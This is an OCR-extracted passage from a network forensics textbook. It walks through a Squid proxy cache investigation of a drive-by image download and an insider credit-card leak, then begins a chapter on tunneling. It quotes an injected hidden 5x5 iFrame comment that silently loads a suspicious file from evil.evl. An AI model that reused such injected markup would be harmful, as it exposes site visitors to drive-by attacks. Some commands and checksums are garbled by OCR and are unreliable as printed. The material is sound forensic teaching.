Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntub5.5 with Suhosin-Patch
18 May 2011 00:46:10 GMT

These precisely match the HT'TP headers within the packet we carved earlier from the
Snort tcpdump.log file, as shown in Chapter 7. From these HTTP headers, we can deduce
that this Squid cache file likely contains a JPEG image 635 bytes in length.

JPEG files begin with the magic number “OxFFDS,” so we can simply search the Squid
cache file for that hex sequence and cut everything before it, as you can see in Figure 10-17.

We save this edited cache file as “0000058 A-edited.jpg.”


http://www.evil.evl/pwny.jpg
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Figure 10-17. JPEG files begin with the magic number “"OxFFD8,” so we can simply search
the Squid cache file for that hex sequence, using Bless, and cut everything before it.

Let’s check the size of this file and see if it matches the expected 635 bytes:

$ 1s -1 0000058A-edited. jpg
“rwx------ 1 student student 635 2011-06-16 00:06 0000058A-edited. jpg

It does! Let’s also check the file type:

$ file 0000058A-edited. jpg
0000058A-edited. jpg: JPEG image data

The “file” command corroborates that the file we carved is a JPEG image. Let’s also
take the cryptographic checksums:

$ mdbsum 0000058A-edited. jpg
13c303f746a0e8826b749fceb6a5c126 0000058A-edited. jpg

$ sha256sum 0000058A-edited. jpg
fcbd6f18c3ed01d2aacd64aaf1b51a539ff95c3eb6b8d2767387a67bc5fe8699 0000058A-
edited. jpg

This is great! The MD5 and SHA256 checksums for this file, which we carved out of the
local Squid cache, precisely match the checksums for the file we carved out earlier from the
Snort packet capture (see Chapter 7). We were able to extract the same image from two
different sources of evidence. This strengthens our case.

10.8.2 Squid Cache Page Extraction

Now, let’s see if we can find any pages that linked to the image at http://www.evil.evl/pwny
.jpg. This may help us track down the activities that led to its download.

$ grep -r 'http://www\.evil\.evl/pwny\.jpg' squid
Binary file squid/00/05/00000589 matches
Binary file squid/00/05/0000058A matches
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Figure 10-18. Squid cache file 00000589 opened in Bless.
metadata, is highlighted.

The source URI, stored in the Squid

We've already examined “squid/00/05/0000058A”—that’s the file that contains our
actual image, pwny.jpg. Let’s take a look at the other file, “squid/00/05/00000589.”
Figure 10-18 shows this file opened in the Bless hex editor. The source URI, stored in the
Squid metadata at the top of the cache file, is highlighted. It is “http://sketchy.evl/?p = 3.”

Here are the HTTP headers from Squid cache file squid/00/05/00000589, as copied from
the Bless ASCII representation:

HTTP/1.0 200 OK

Date: Wed, 18 May 2011 15:01:29 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntub5.5 with Suhosin-Patch
X-Powered-By: PHP/5.2.4-2ubuntub5.5

X-Pingback: http://sketchy.evl/xmlrpc.php

Connection: close

Content -Type: text/html; charset=UTF-8

Based on the “Content-Type” HTTP header, it appears that the content of this Squid
cache file is “text/html.” Let’s cut off the Squid metadata and HTTP headers in order
to isolate the page content. Figure 10-19 is a screenshot of the Squid cache file 00000589
opened in the Bless hex editor, as we cut off the highlighted bytes. We will save this file as
“00000589-edited.html.”

Now let’s find the reference to “http://www.evil.evl/pwny.jpg.” Scrolling through the
content of 00000589-edited.html, we see the following text [formatting modified to fit the

pagel:

<h3 id="comments">1 Comment</h3>
<0l class="commentlist">
<1li class="altl" id="comment -3"
<div class="commentcount">
<a href="#comment-3" title="">1</a>


http://sketchy.evl/?p=3
http://www.evil.evl/pwny.jpg
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</div>
<strong>1l0ser</strong> // April 29th, 2011 at 2:28 am
<br />
<div class="commenttext">
<p>luv the site! <img src='http://sketchy.evl/wp-includes/images/
smilies/icon_wink.gif ' alt=';)' class='wp-smiley' /> hope u get
lots of traffic lol<iframe src="http://www.evil.evl/pwny.jpg" width
="5px" height="5px" frameborder="0"></iframe></p>
</div>
</1i>
</ol>
</ol>
<h3 id="respond">Leave a Comment</h3>
<form action="http://sketchy.evl/wp-comments-post.php" method="post" id="
commentform">

As shown above, the reference to pwny.jpg is contained within a 5px by 5px iFrame
within a comment of this page. It is barely visible and automatically loads when the page
is visited. The user probably never even knew it existed. Most likely, the user who posted
the comment (“l0ser”) took advantage of a persistent cross-site scripting vulnerability in
the site and included this code in a public comment.

To view the page, we have a version of Firefox running in a sandbox, with the “Work
Offline” option checked. Using this, we can open the web page that we carved out of cache file
00000589, as shown in Figure 10-20. Because this file is opened in isolation without network
access, the images and style sheets that would normally format this page are missing. Instead,
we simply see the content of this one file rendered, alone. In the rendered web page, you can
see the comment by “lOser,” which contained a nearly invisible 5x5 pixel iFrame with a link
to pwny.jpg.

Judging by the details on the web page, the comment appears to have been posted by a
user called “l0ser” on “April 29, 2011 at 2:28AM.” Of course, we have no way of verifying
the accuracy of this date and time (we don’t even know what time zone the remote server
is located in), but we may find evidence from more reliable systems that corroborates this
information.
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Figure 10-19. A screenshot of the Squid cache file 00000589 opened in the Bless hex editor,
as we cut off the highlighted bytes.
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[l welcome to sketchl: sketchy... IRN
| inux affiliate hanner__"l

* Home
+« About

s Credit Card Number Recycling

|To search, type and hit enter

Welcome to sKetch!

February 26th, 2009 | Posted in General
Welcome to sKetchy Kredit, your #1 source of perfectly legitimate credit cards!!!
1 Comment

1.1
10ser // April 29th, 2011 at 2:28 am

luv the site! ;) hope u get lots of traffic lol

Leave a Comment

I Name (required)

I Mail (will not be published) (required)

I Website

Figure 10-20. A version of Firefox running in an isolated sandbox, used to open the web page
carved out of cache file 00000589. This is the cached page http://sketchy.evl/?p=3. Because
this file is opened in isolation, without network access, the images and style sheets that would
normally format this page are missing. In the rendered web page, you can see the comment by
“lOser,” which contained a nearly invisible 5x5 pixel iFrame with a link to pwny.jpg.

10.8.3 Squid Access.log File

Let’s turn our attention to Squid’s access.log file, which contains a history of requests
and corresponding clients. First, let’s get some general statistics about this access.log file.
Figure 10-21 shows the summary page from SARG. From this summary, we can see that this
access.log file is fairly small. There are two active clients, 192.168.1.170 and 192.168.1.169,
which together transferred a total of 21.21M.
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fd g . .
‘i_q jj Squid Analysis Report Generator

Squid User Access Reports
Period: 2011Mayl8-201 1Mayl2
Sort: EYTES, reverse

Topuser
Topsites
Sites & Users
NUM| | USERID | CONNECT| BYTES | % BYTES| IN-CACHE-OUT| ELAPSED TIME| MILISEC| % TIME]|
1|0l 95| 192 182 1 170 820| 12.44M| 58.64%| 13 95%| 86.05%| 00:08:28) 508.205| 52.47%|
2|0ln 55 192 168 1.163| 148K| 8.77M| 4136%| 153%| 52.07%| 00:07:40 460.325| 47.53%|
TOTAL | 236K 21.21M] 8.98%| 91.02%| 00:16:08 963,530]
AVERAGE |  1.18K|10.60M]| 00:08:04) 484,265

Generated by sarg-2.2.7.1 Feb-12-2010 on Jun/16/2011 16:12

Figure 10-21. The summary page from SARG.

$ head -1 access.log

1305729798.958 409 192.168.1.170 TCP_MISS/200 799 HEAD http://start.ubuntu
.com/8.04/ - DIRECT/91.189.90.41 text/html

$ tail -1 access.log

1305731725.796 143 192.168.1.169 TCP_MISS/302 562 GET http://www.gravatar.
com/avatar.php? - DIRECT/72.233.44.61 text/html

The first entry in the access.log file occurred at 1305729798.958 (UNIX time, or number
of seconds since January 1, 1970). We can convert this to human-readable time using the
“date” command as follows:

$ date --utc -d @1305729798.958
Wed May 18 14:43:18 UTC 2011

From this we see that the first entry in the access.log file occurred on Wed May 18
14:43:18 UTC 2011. Similarly, we can see that the last entry occurred at 1305731725.796,
which translates into “Wed May 18 15:15:25 UTC 2011,” as shown below:

$ date --utc -d @1305731725.796
Wed May 18 15:15:25 UTC 2011

It appears that the browsing in the access.log file occurred on Wednesday, May 18, 2011,
beginning at 14:43:18 UTC and ending at 15:15:25 UTC. This means that the logs span a
time period of just over half an hour.

Now, let’s extract only the web browsing history relating to our client of interest,
192.168.1.169. As you can see below, the resulting file of web surfing activity from
192.168.1.169 contains 1,487 entries.
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$ grep '192\.168\.1\.169' access.log > access-192.168.1.169.1log

$ wc -1 access-192.168.1.169.1log
1487 access-192.168.1.169.1og

Now, let’s check the beginning and ending timestamps for the browsing history associated
with 192.168.1.169:

$ head -1 access-192.168.1.169.1log
1305729883.014 144 192.168.1.169 TCP_MISS/302 737 GET http://www.microsoft
.com/isapi/redir.d11? - DIRECT/65.55.21.250 text/html

$ tail -1 access-192.168.1.169.1log
1305731725.796 143 192.168.1.169 TCP_MISS/302 562 GET http://www.gravatar.
com/avatar.php? - DIRECT/72.233.44.61 text/html

The timestamp on the first entry is “1305729883.014.” Converting this to human-readable

format, we see that this is equivalent to “Wed May 18 14:44:43 UTC 2011.” Similarly, the

timestamp for the last entry is “1305731725.796,” or “Wed May 18 15:15:25 UTC 2011.”
Notice also that the first URI requested by 192.168.1.169 was:

http://www.microsoft.com/isapi/redir.dll?

The destination of this URI, microsoft.com, lends support for the theory that 192.168.1.169
is configured with Microsoft software, such as Internet Explorer and Windows.

We know that the URI of the cached web object that triggered the original Snort alert was
“http://www.evil.evl/pwny.jpg.” Let’s see if we can use this key to look up the corresponding
entry in access.log:

$ grep 'http://www\.evil\.evl/pwny.jpg' access-192.168.1.169.1log
1305730905.602 45 192.168.1.169 TCP_MISS/200 1087 GET http://www.evil.evl
/pwny.jpg - DIRECT/172.16.16.218 image/jpeg

From this, we can see that the JPEG was requested at 1305730905.602, or Wed May 18
15:01:45 UTC 2011.

Let’s take a peek at the browsing history originating from 192.168.1.169. Scrolling
through the file access-192.168.1.169.1og, here are some of the more interesting URIs, orga-
nized by category:

e Resigning and looking for a new job

http://jobsearch.about.com/cs/careerresources/a/resign.htm
http://jobsearch.about.com/od/resignationletters/a/resignemail.htm
http://jobsearch.about.com/cs/cooljobs/a/dreamjob.htm
http://0.tqn.com/d/jobsearch/1/G/T/L/iquit. jpg

http://monster.com/

e Money

http://www.walletpop.com/photos/25-ways-to-make-quick-money/
http://sketchy.evl/wp-content/themes/GreenMoney/images/money. jpg
http://www.wired.com/threatlevel/2011/05/carders/
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e Travel

http://wuw.expatexchange.com/vietnam/liveinvietnam.html
http://wiki.answers.com/Q/What_countries_have_non-extradition

e Data destruction

http://www.zdnet.com/blog/storage/how-to-really-erase-a-hard-drive/129

How did we know that the domain “http://www.wired.com/threatlevel /2011/05/carders/”
was related to money? There is another URI in the browsing history, shown below:

http://bcp.crwdcntrl.net/4/ct=y|lref=http’253A%252F%252Fwww.wired.com%252
Fthreatlevel’%252F2011%252F05%252Fcarders%252F|c=312|rand=164776000|pv=y|
med=%230pR%2310543%23Blog%20Entry%3A%20threatlevel’20%3A%20%20%3A%20]| int=
Chat%20Log%3A%20What%20It%20Looks%20Like%20When%20Hackers%20S5e11%20Your%20
Credit%20Card’%200nline|int=sony|async=undefined|rt=ifr

This URI is designed to track the user’s web browsing activity. When embedded in a
web page, this URI causes the client’s browser to send a request to the third party at
“http://bep.crwdentrl.net.” According to Abine, “the online privacy company,” “crwdcn-
trl.net is a domain used by Lotame which is an advertising company that is part of a network
of sites, cookies, and other technologies used to track you....”4°

Notice that a site that the user visited, “http://www.wired.com/threatlevel/2011/05/
carders/,” was included as part of the request to crwdentrl.net (it was URL-encoded twice
before insertion). The article’s title, “Chat Log: What It Looks Like When Hackers Sell
Your Credit Card Online,” was also included in the tracking URI. Handy! We would not
have recovered that information from the original URI request record in access.log.

Third-party tracking of web surfing activities has become ubiquitous and very detailed. In
addition to sending detailed information to third-party advertisers, trackers can leave extra
information in web proxy logs, as well. Forensic investigators can take advantage of these
extra “Easter eggs” and gather supplemental data from them for use in an investigation.

10.8.4 Further Squid Cache Analysis

Up to this point, we have found two domains that are directly linked to the event that
triggered the original Snort NIDS alert, “SHELLCODE x86 NOOP”:

e evil.evl—The domain that hosted pwny.jpg, the image that triggered the original
Snort alert, “SHELLCODE x86 NOOP.”

e sketchy.evl—The domain which contained a link to http://www.evil.evl/pwny.jpg.

Let’s search the Squid cache to see if we can find any other pages that are related to
these domains, and use squid_extract_v01.pl to automatically extract the contents.

$ for cache_file in ~grep -lir 'sketchy\.evl\|levill.evl' squid~; do
squid_extract_vO01l.pl -f $cache_file -o squid-extract-evl/; done

$ 1ls squid-extract-evl/
extract_log.txt sketchy\.evl www.evil\.evl www.hyperpromote.com

40. “Abine,” 2011, http://www.abine.com/trackers/crwdcntrl.net.php.
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It appears that the cache contains pages from three domains that contain references to
sketchy.evl or evil.evl. Here is selected output from extract _log.txt:

Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
Extracting
-12x12
Extracting
Extracting
Extracting
Extracting
.png
Extracting
Extracting
Extracting
gif
Extracting
Extracting
Extracting

http:
://www.evil.evl/pwny. jpg
://sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
//sketchy.
://sketchy.

http
http

http:
http:
http:
http:
http:
http:
http:
http:
http:
http:

http

-png

http

http:
http:
http:

http:
http:
http:

http:
http:
://www.hyperpromote.com/tags/showaon.html?bvgeocode=US&

http

//sketchy

://sketchy.
//sketchy.
//sketchy.
//sketchy.

//sketchy.
//sketchy.
//sketchy.

//sketchy
//sketchy

.evl/?p=3

evl/wp-includes/images/smilies/icon_wink.gif
evl/wp-login.php
evl/wp-admin/wp-admin.css?version=2.3.3
evl/wp-admin/images/login-bkg-tile.gif
evl/wp-admin/images/fade-butt.png
evl/wp-admin/images/login-bkg-bottom.gif
evl/wp-admin/profile.php
evl/wp-includes/js/fat.js?ver=1.0-RC1_3660
evl/wp-admin/images/browse-happy.gif
evl/wp-admin/images/heading-bg.gif
evl/wp-admin/images/logo-ghost.png
evl/wp-content/themes/GreenMoney/images/feed-icon

evl/

evl/wp-content/themes/GreenMoney/style.css
evl/wp-content/themes/GreenMoney/images/bg.png
evl/wp-content/themes/GreenMoney/images/logo-sketch

evl/wp-content/themes/GreenMoney/images/money. jpg
evl/wp-content/themes/GreenMoney/images/rss.gif
evl/wp-content/themes/GreenMoney/images/advertise.

.evl/wp-content/themes/GreenMoney/images/arrow.gif
.evl/?page_id=2

bvlocationcode=272892&bvurl=http://sketchy.evl/?page_id=2&bvtitle=About
%20%3A%20sKetchy%20Kredit

Extracting http://www.hyperpromote.com/tags/showaon.html?bvgeocode=US&
bvlocationcode=272892&bvurl=http://sketchy.evl/7page_id=2&bvtitle=About
%20%3A%20sKetchy%20Kredit

Extracting http://sketchy.evl/?page_id=4

Extracting http://sketchy.evl/?page_id=4#comment -7

From the output of extract_log.txt, we can see that the overwhelming majority of ex-
tracted pages are from the sketchy.evl domain. The sketchy.evl server appears to be hosting
a Wordpress web site, which we can tell by the presence of default Wordpress files and
directories such as “wp-login.php” and “wp-content.”

There appears to be only one object from the evil.evl domain (the download of pwny.jpg),
and there are two objects from “hyperpromote.com,” which judging by the name and URI
are likely related to advertising and activity tracking.

Let’s examine a few pages that seem interesting. Figure 10-22 shows the page: http://
sketchy.evl/?page_id=2

From the “About” tag and the page content, it appears that this page is designed to
provide information about an organization called “sKetchy Kredit,” which is “your #1
source for all credit card recycling needs.” Apparently they are based in a “sunny, overseas
location.” Interestingly, the page indicates that a user called “N. Phil Trader” was logged
in when the page was cached.
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sKetchy Kredit is your #1 source for all credit card recycling needs. We
are credit-card trading industry leaders. Based in a sunny, overseas
location, sKetchy Kredit is committed to maintaining the industry’'s most
efficient, highly trained staff committed to meeting YOUR unique credit-
card purchasing and sales needs. Contact sKetchy Kredit today!

lLeave a Comment

Logged in as

Submit Comment

Figure 10-22. The page http://sketchy.evl/?page_id=2, extracted from the Squid cache and
viewed offline in a web browser.

What time was the page “http://sketchy.evl/?page_id=2" retrieved? The answer is not
obvious because the variable “page_id=2" that differentiates this page from others is not
included in access.log or store.log. However, we can extract the hash used to index files in
the cache from the corresponding cache file (000005B9), and then match this hash to a line
in store.log.

Figure 10-23 shows the cache file (000005B9) from which squid_extract_v0l.pl carved
out “http://sketchy.evl/?page_id=2.” Notice the URI in the ASCII text in the right-hand
column. You can also see the “Date” listed in the HT'TP headers sent by the server: Wed, 18
May 2011 15:03:36 GMT. Finally, we have highlighted the hash value in the Squid metadata,
88D70371DB405AC6D7FA291B36E6B594.

Next, we can use the hash to extract the corresponding value from store.log:

$ grep 88D70371DB405AC6D7FA291B36E6B594 store.log

1305731016.113 SWAPOUT 00 000005B9 88D70371DB405AC6D7FA291B36E6B594 200
1305731016 1305731016 1305731016 text/html -1/8185 GET http://sketchy.evl
/7
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000005B9 %

00000000 |03 52 00 00 00 03 10 00 00 00 [ERESENANIEENNENL=RNI
00000010 |15 05 18 00 00 00 C7
00000020 |DF D3 4D C7 DF D3 4D C7 DF D2 4D C8 DF D2 4D 00
0ooo0O30 |00 00 OO0 01 00 62 04 04 1E 00 OO 00 68 74 74 70
00000040 |32 2F 2F 73 6B 65 74 63 68 79 2E 65 76 6C 2F 3F |://sketchy.evl/?
00000050 |70 61 &7 65 5F 69 64 3D 32 00 48 54 54 50 2F 31 |page_1id=2.HTTPF/1
00000060 |2E 30 20 32 30 30 20 4r 4B 0D 02 44 61 74 65 32 |.0 200 OK..Date:
0000007020 57 65 &4 2C 20 31 38 20 4D 61 79 20 322 30 31| wWed, 18 May 201
00000080 |21 20 21 35 32 30 33 32 33 36 20 47 4D 54 0D 0A|1 15:03:36 GMT..
00000090 |53 &5 72 76 65 72 32 20 41 70 61 63 68 6b ZF 32 |Server: Apache/Z

| {|OFfset: 0x1a/ 0x21F8 [Selection: Oxa to 0x19 (0x10 bytes) [INS

Figure 10-23. The cache file (000005B9) from which squid_extract-vOl.pl carved out
“http://sketchy.evl/?page_id=2." We have highlighted the hash value in the Squid metadata,
88D70371DB405AC6D7FA291B36E6B594.

From this, we can see that the page was cached at 1305731016.113, which translates
to “Wed May 18 15:03:36 UTC 2011.” This value, set by the internal web proxy www-
proxy.example.com, corresponds precisely with the time in the HT'TP headers set by the
suspicious remote server—a good sign that the time on the remote server was accurate when
this page was cached.

Figure 10-24 shows the contents of http://sketchy.evl/?page_id=4, carved from the Squid
cache and displayed offline in a web browser. This page urges the reader to “send us your
database” of credit card numbers in exchange for payment. It appears that the same user,
“N. Phil Trader,” was logged in when this page was cached, and has even posted a comment
that is awaiting moderation (in other words, if we simply visited the web site from a different
system, we would not see this comment unless the administrator had chosen to approve it!).

Based on the values in the page, the comment appeared to have been posted on May
18, 2011, at 10:05 AM (of course, we do not know the time zone and cannot rely on the
suspicious remote web server for accuracy). The content implies that “phil” has access to
credit card data and he is interested in finding out how much it is worth.

Once again, we can use the hash value from the cache file (squid/00/05/000005BE) to
look up the corresponding entry in store.log, as shown below:

$ grep 062208B432C7EB85E1C96BF25EAOEDO4 store.log

1305731045.257 SWAPOUT 00 OOOOO5BE 062208B432C7EB85E1C96BF25EAOED04 200
1305731045 1305731045 1305731045 text/html -1/8500 GET http://sketchy.evl
/7

From this, we see that the page http://sketchy.evl/?page_id=4 was cached at
1305731045.257, which corresponds with Wed May 18 15:04:05 UTC 2011.

Who is this “N. Phil Trader”? Browsing through the extracted Squid cache pages, we
come across Wordpress’ “profile.php” page. What luck! This Wordpress page normally con-
tains information about users.
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Do you have a database filled with credit card numbers, just sitting there collecting
dust? Put that data to good use! sKetchy Kredit pays the highest amount per card
number in the industry, and we make sure your data is re-used and recycled.

Right now, we are offering a PREMIUM per card number. This deal won't last long!
Maximum 1000 customers. Don't just sit there- act now!

sKetchy Kredit is your #1 source for all credit card number recycling needs. Recycle
your company's used credit card numbers! Send us your database, and we'll send
YOU a check.

1 Comment

1.
N. Phil Trader // May 18th, 2011 at 10:05 am Your comment is awaiting
moderation.

how much r u offering per card right now?

plz let me know. i have a bunch. thx, phil
Leave a Comment

Logged in as

Figure 10-24. The page http://sketchy.evl/?page_id=4, extracted from the Squid cache and
viewed offline in a web browser.

In the access.log file, we see a corresponding entry for “http://sketchy.evl/wp-admin/
profile.php,” as shown below:

1305730955.740 200 192.168.1.169 TCP_MISS/200 5612 GET http://sketchy.evl/
wp-admin/profile.php - DIRECT/172.16.16.217 text/html

The access time, 1305730955.740, translates to “Wed May 18 15:02:35 UTC 2011.” Open-
ing the extracted cache contents in an offline web browser, as shown in Figure 10-25, we see
details about this user’s account! The email address “philt@example.com” indicates that
the user has an email account at MacDaddy Payment Processor (since the local domain is
example.com). Presumably, local staff will be able to identify this user.

10.8.5 Timeline

Based on the evidence we have recovered, let’s put together a timeline of events. As always,
this timeline is just a hypothesis based on our analysis up to this point.
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Your Profile and Personal Options

Personal Options

+ Use the visual editor when writing

Update Profile » |

—MName

Username: (no editing)
nptrader

First name:
N, Phil

Last name:
Trader

Nickname:
philt

Display name publicly as:
M. Phil Trader =

—Contact Info

E-mail: (required)
philt@example.com

AT~ e bm

Figure 10-25. The page http://sketchy.evl/wp-admin/profile.php, extracted from the Squid
cache and viewed offline in a web browser.

This timeline is for events that occurred on May 18, 2011. Note that we have included
information gleaned from our earlier Snort analysis as well (see Chapter 7 for details). The
times listed below are in UTC:

e 14:43:18—First entry in the Squid access.log file from www-proxy.example.com.

e 14:44:43—First entry relating to 192.168.1.169 in the Squid access.log file from www-
proxy.example.com.

e 14:45:09—NIDS alerts for 192.168.1.169 begin (from the alert file). Though these
initial alerts—for web bug downloads—do not themselves indicate any particularly
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adverse behavior, they do serve to establish a known commencement of web browsing
activity by 192.168.1.169.

e 15:01:45—NIDS alert for possible shellcode being downloaded by 192.168.1.169 from
an unknown external web server (from the alert file). This is the NIDS alert that
was the itmpetus for our investigation.

e 15:01:45—The user of 192.168.1.169 downloaded http://www.evil.evl/pwny.jpg.

e 15:02:35—The user of 192.168.1.169 visited http://sketchy.evl/wp-admin/profile.php.
e 15:03:36—The user of 192.168.1.169 visited http://sketchy.evl/?page_id=2.

e 15:04:05—The user of 192.168.1.169 visited http://sketchy.evl/?page_id=4.

e 15:04:28-15:04:38—Multiple NIDS alerts (18) report crafted packets from
192.168.1.169 to multiple internal hosts (from the alert file).

e 15:15:08—NIDS alerts for 192.168.1.169 end (from the alert file). The end of the web
bug download alerts does not definitively indicate that 192.168.1.169 has ceased to be
active on the network, but it does at least indicate a possible change in the operator’s
web browsing activities.

e 15:15:25—Last entry in the Squid access.log file from www-proxy.example.com. Also
the last entry that relates to 192.168.1.169.

10.8.6 Theory of the Case

Now let’s summarize our theory of the case. This is just a working hypothesis supported by
the evidence, references, and experiences:

e From at least 14:44:43 until at least 15:15:25 on 5/18/11, internal host 192.168.1.169
was used to browse external web sites, some of which delivered web bugs that were
detected and logged.

e The user of 192.168.1.169 visted sites that were related to the following topics:
— Resigning and looking for a new job
— Money
— Travel (specifically to nonextradition countries)

— Data destruction

Taken together, we can hypothesize that the user of 192.168.1.169 may not be happy
with his job at MacDaddy Payment Processor, and may be looking for other ways to
make money (including some that are illegal).

e The user of 192.168.1.169 visited http://sketchy.evl (172.16.16.217:80). This site ap-
peared to be engaged in credit card number theft, encouraging readers to send in their
companies’ credit card databases in exchange for money.

e A page on http://sketchy.evl contained a comment posted by someone calling them-
selves “lOser.” This comment contained a nearly invisible 5x5 pixel iFrame with a
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link to pwny.jpg. When the web browser on 192.168.1.169 loaded the page with
the comment, it automatically downloaded the suspicious file, pwny.jpg. The user
of 192.168.1.169 probably had no idea that pwny.jpg was downloaded.

We were able to carve the same suspicious jpg (pwny.jpg) out of both the Snort packet
capture and the Squid web proxy cache. The MD5sum of the suspicious JPEG was:
13¢303f74620e8826b749fce56a5¢126

The web site sketchy.evl had a user account with the name and email address of a
local employee, N. Phil Trader (philt@example.com). This user attempted to post a
comment indicating that he had access to credit card data, and he wanted to know
how much it was worth. If N. Phil Trader is also the user of 192.168.1.169, this com-
ment would fit with the web surfing activity profile we have already seen relating to
192.168.1.169.

At 15:04:28, internal host 192.168.1.169 spent roughly 10 seconds sending crafted pack-
ets to other internal hosts on the 192.168.1.0/24 network. Based on their nonstandard
nature, the packets are consistent with those used to conduct reconnaissance via scan-
ning and operating system fingerprinting. This activity may have been deliberately
conducted by the user of 192.168.1.169; or it is also possible the client was compro-
mised by a remote system and used as a pivot point for further attacks from the
outside. Given the user’s web surfing history, the client may have been compromised
through a web browser vulnerability. The suspicious file pwny.jpg could have been part
of an exploit.

10.8.7 Response to Challenge Questions

e Examine the Squid cache and extract any cached pages/files associated with

the Snort alert shown above. The Snort alert was triggered by the following image:
http://www.evil.evl/pwny.jpg

We analyzed the Squid cache and found that this image was included in an iFrame
in the following page: http://sketchy.evl/?7p=3

We extracted both of these web objects from the Squid cache, and then used
squid_extract_v01l.pl within a Bash “for” loop to automatically extract all web
objects that related to either sketchy.evl or evil.evl.

Determine whether the evidence extracted from the Squid cache corrobo-
rates our findings from the Snort logs. Yes, the evidence from the Squid cache
correlates very well with the evidence we found in the Snort proxy. For example, we
were able to carve “pwny.jpg” from both the Snort packet capture and the Squid web
cache, and it had the same cryptographic checksum both times.

In addition, the times of important events logged in both Snort and Squid match up.
For example, in the Snort logs, we saw a NIDS alert for “SHELLCODE x86 NOOP”
at 15:01:45 UTC, which we later discovered was triggered by the image pwny.jpg. In
the Squid cache , we found that the URI http://www.evil.evl/pwny.jpg was requested
at the same time, 15:01:45 UTC.

Based on web proxy access logs, gather information about the client sys-
tem 192.168.1.169, including its likely operating system and the apparent
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interests of any users. Based on the contents of access.log, the client 192.168.1.169
is probably a Microsoft Windows system. The user’s web surfing activity indicates
interest in:

— Resigning and looking for a new job

— Money

Travel (specifically to nonextradition countries)

Data destruction

e Present any information you can find regarding the identity of any internal
users who have been engaged in suspicious activities.
From the user profile on http://sketchy.evl, we have gathered the following identi-
fying information:

— Username: philt

First name: N. Phil

Last name: Trader

Nick name: philt

Display name: N. Phil Trader

Email address: philt@example.com

This user also attempted to leave a comment on the web site http://sketchy.evl, which
was as follows:

how much r u offering per card right now?

plz let me know. i have a bunch. thx, phil

10.8.8 Next Steps

Now that we’ve analyzed both the Snort NIDS server and the local Squid web proxy, what
are some appropriate next steps?

e Central Log Server We have a record of activities relating to the client 192.168.1
.169, but who was logged into the system at the time? The central logging server may
have authentication logs from local workstations that shed light on the account used
at the time under investigation.

We also have indications that an insider may be preparing to disclose records from
the company’s credit card database. The central logging server may include database
application logs and server logs that could allow investigators to determine when and
how the credit card information was accessed, and by whom.

The central logging server may also be useful for tracking down the client itself,
192.168.1.169. If this is a DHCP address, DHCP server logs would hopefully include
mappings between this IP address and a network card address. Network equipment
logs may indicate which port the network card was plugged into.
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e Video Surveillance/Physical Access Logs It’s all well and good to have authen-

tication logs that indicate that a specific account was in use on 192.168.1.169, but how
can we be sure that the account credentials were not stolen? Whenever possible, it is a
good idea to corroborate with local video surveillance and physical access logs. These
can help investigators determine who was actually sitting at the console at the time
under investigation.

Hard Drive Analysis Once the client 192.168.1.169 has been acquired, hard drive
analysis would be useful for determining precisely what happened. Why did
192.168.1.169 begin conducting reconnaissance on the local network? Did the local
user deliberately install an application such as nmap? Is the system infected with
malware? Was the client exploited through a browser vulnerability and then used as a
pivot point by an external attacker? Hard drive analysis may not reveal anything more
than network forensics has already unearthed, or it may reveal additional findings. At
a minimum, we are likely to find evidence corroborating our findings so far, which
strengthens our case.

Malware Analysis We can provide samples of the suspicious files we have uncov-
ered to professional malware analysts. This can help us create NIDS and/or antivirus
signatures for identifying the malware elsewhere on our network, determine the pur-
pose and function of the malware, and scope the extent of the potential breach.

Human Resources Since an internal employee, N. Phil Trader (philt@example
.com), has been implicated in suspicious activities, it would normally be appropriate
to notify human resources staff and work with them as the investigation progresses.
Typically, human resources can provide guidance for monitoring efforts, broker inter-
views with the employee under investigation, and manage suspension or termination
events should they be necessary. Consultation with legal counsel may also be appro-
priate. Professional human resources staff can help to manage the human element of
the investigation; minimizing the risk that a truly malicious insider will cause further
damage and helping to ensure that all employees are treated fairly.



Part IV

Advanced Topics

Chapter 11, “Network Tunneling,” discusses both legitimate and covert network tunnels, methods
for recognizing tunnels, and strategies for recovering evidence from tunneled traffic.

Chapter 12, “Malware Forensics,” is a condensed history of malware development, including
the evolution of command-and-control channels, botnets, IDS/IPS evasion, and the advanced
persistent threat (APT). Along the way, we discuss how malware has changed—and has been
changed by—forensic investigations.
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Chapter 11

Network Tunneling

2

“All that is required is the ingenuity ...’
—daemond, coauthor of Loki'

Network tunnels are methods of encapsulating traffic in different types of protocols.
Although the concept of tunneling sounds sneaky, network tunnels are often used for
legitimate purposes, such as aggregating network traffic across switched virtual circuits.
In certain circumstances, network tunnels are used to provide a layer of encryption for data
in transit. Tunnels can also be used for illegitimate purposes, in order to hide content in
ways that firewalls and NIDSs are not instrumented to detect or prevent.

In this chapter, we explore the inner workings of network tunnels, what they are used for,
and how to detect and dissect them. We begin by studying legitimate tunnels that emerged
for the purposes of functionality, such as Cisco’s ISL, GRE, and Teredo. Subsequently, we
discuss tunnels designed for ensuring confidentiality and integrity, such as IPsec and SSL.
Finally, we delve into the intriguing topic of covert tunnels and explore how hacker tools
such as Loki and iodine smuggle traffic through the ICMP and DNS protocols, respectively.

Along the way, we reinforce an important philosophy: Every protocol, every networking
model, every standard defined for use on the Internet can be bypassed, broken, twisted,
circumvented, and leveraged by hackers for unexpected purposes. Rules are made to be
broken.

11.1 Tunneling for Functionality

Network tunneling generally refers to the practice of encapsulating traffic in unusual ways,
different from the order described by standard layered models such as the OSI model. Often,
network tunnels are developed by network engineers seeking to create more effective com-
munications channels. As old equipment, software, and protocols become outdated or simply
fail to meet organizational needs, network engineers must find creative ways to expand their
functionality. In this section, we examine common tunnels used for legitimate purposes and
discuss their effect on forensic investigations.

1. daemon9, “Project Loki,” Phrack Magazine, no. 49 (1996), http://www.phrack.org/issues.html?issue=49
&id=6#article. 423
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11.1.1 Background: VLAN Trunking

Trunking VLANs over a WAN is one of the simplest and most common examples of tun-
neling that forensic analysts encounter. Often, network engineers would like to partition
the network traffic for various groups of users without having to create multiple physical
networks for each of them. They accomplish this on a LAN by deploying “smart switches”
that support the 802.1Q protocol, which can be programmed to aggregate the appropriate
stations into the desired VLAN. “Trunking” is a general term used in telecommunications
to describe the case when circuits or cables are aggregated for transport from one point to
another.

